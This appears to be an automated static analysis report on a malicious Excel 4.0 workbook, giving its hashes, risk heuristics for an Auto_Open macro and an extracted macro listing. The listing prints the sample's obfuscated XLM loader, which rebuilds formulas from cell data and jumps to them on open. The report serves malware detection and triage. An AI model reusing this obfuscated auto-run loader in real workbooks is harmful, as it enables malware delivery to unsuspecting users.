Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb913d0b40eca8fc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:27 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 24b40745526da4db9e64a9d630ca2d8d SHA-1: 4da7107bc39727227d73c739472be692e5bd9921 SHA-256: bb913d0b40eca8fca29b03c9f6104622e2a9a7fb891f610f0cfda3033abd7c13
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6381 bytes
SHA-256: bcf930ff8c1c86e873b51b8a3b48d36fcecd1672a0ebaf807d24e562a61fbbfb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YDC
' 0018     26 LABEL : Cell Value, String Constant - AGzmokpAbpQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C174 
' 0018     25 LABEL : Cell Value, String Constant - BRMPXYeEUi len=0 
' 0018     27 LABEL : Cell Value, String Constant - cXmGwumjjoYD len=0 
' 0018     24 LABEL : Cell Value, String Constant - flGnGPJXe len=0 
' 0018     25 LABEL : Cell Value, String Constant - FsPddkIzHR len=0 
' 0018     20 LABEL : Cell Value, String Constant - ggxJM len=0 
' 0018     24 LABEL : Cell Value, String Constant - GWyQLfMBo len=0 
' 0018     23 LABEL : Cell Value, String Constant - kJAjYyMx len=0 
' 0018     24 LABEL : Cell Value, String Constant - KrDRyanoe len=0 
' 0018     20 LABEL : Cell Value, String Constant - mUunL len=0 
' 0018     22 LABEL : Cell Value, String Constant - OBYwhLT len=0 
' 0018     20 LABEL : Cell Value, String Constant - pVowz len=0 
' 0018     26 LABEL : Cell Value, String Constant - pwpYENpphca len=0 
' 0018     20 LABEL : Cell Value, String Constant - uGNNn len=0 
' 0018     23 LABEL : Cell Value, String Constant - WIOHBGHS len=0 
' 0018     24 LABEL : Cell Value, String Constant - XnPzftzcN len=0 
' 0018     23 LABEL : Cell Value, String Constant - ymEsMvFq len=0 
' 0018     26 LABEL : Cell Value, String Constant - YQzkeCyiDHI len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZcztMKpTsGUQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - zLmuo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YDC,C89,"SET.NAME("KrDRyanoe",VALUE("0"))",""
'  YDC,C91,"SET.NAME("OBYwhLT",KrDRyanoe)",""
'  YDC,C94,"SET.NAME("pVowz",KrDRyanoe)",""
'  YDC,C96,"SET.NAME("WIOHBGHS",COUNTA(GWyQLfMBo))",""
'  YDC,C98,"SET.NAME("XnPzftzcN",COUNTA(pwpYENpphca))",""
'  YDC,C103,[],""
'  YDC,C105,"SET.NAME("FsPddkIzHR","")",""
'  YDC,C108,"OBYwhLT",""
'  YDC,C110,"SET.NAME("YQzkeCyiDHI",HLOOKUP("*",GWyQLfMBo,OBYwhLT,FALSE))",""
'  YDC,C112,"ggxJM",""
'  YDC,C115,"SET.NAME("uGNNn",KrDRyanoe)",""
'  YDC,C117,[],""
'  YDC,C121,"uGNNn",""
'  YDC,C126,"cXmGwumjjoYD",""
'  YDC,C131,"mUunL",""
'  YDC,C134,"ymEsMvFq",""
'  YDC,C137,"SET.NAME("kJAjYyMx",VALUE(HLOOKUP("*",pwpYENpphca,ymEsMvFq,FALSE)))",""
'  YDC,C139,"BRMPXYeEUi",""
'  YDC,C143,"FsPddkIzHR",""
'  YDC,C145,"pVowz",""
'  YDC,C150,NEXT(),""
'  YDC,C155,"flGnGPJXe",""
'  YDC,C160,"SET.NAME("f",INT(T(FORMULA(T(FsPddkIzHR)&"",""&T(flGnGPJXe)))))",""
'  YDC,C163,"ZcztMKpTsGUQ",""
'  YDC,C167,NEXT(),""
'  YDC,C172,RETURN(),""
'  YDC,C199,"SET.NAME("AGzmokpAbpQ",C89)",""
'  YDC,C204,"GWyQLfMBo",""
'  YDC,C207,"SET.NAME("pwpYENpphca",R59C12)",""
'  YDC,C211,"SET.NAME("ZcztMKpTsGUQ",218)",""
'  YDC,C213,"SET.NAME("zLmuo",3)",""
'  YDC,C217,AGzmokpAbpQ(),""
'  YDC,C218,HALT(),""

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